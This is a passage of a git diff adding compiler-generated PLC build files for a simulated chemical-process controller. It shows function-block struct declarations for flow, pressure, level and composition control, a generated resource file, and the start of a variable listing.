__DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; 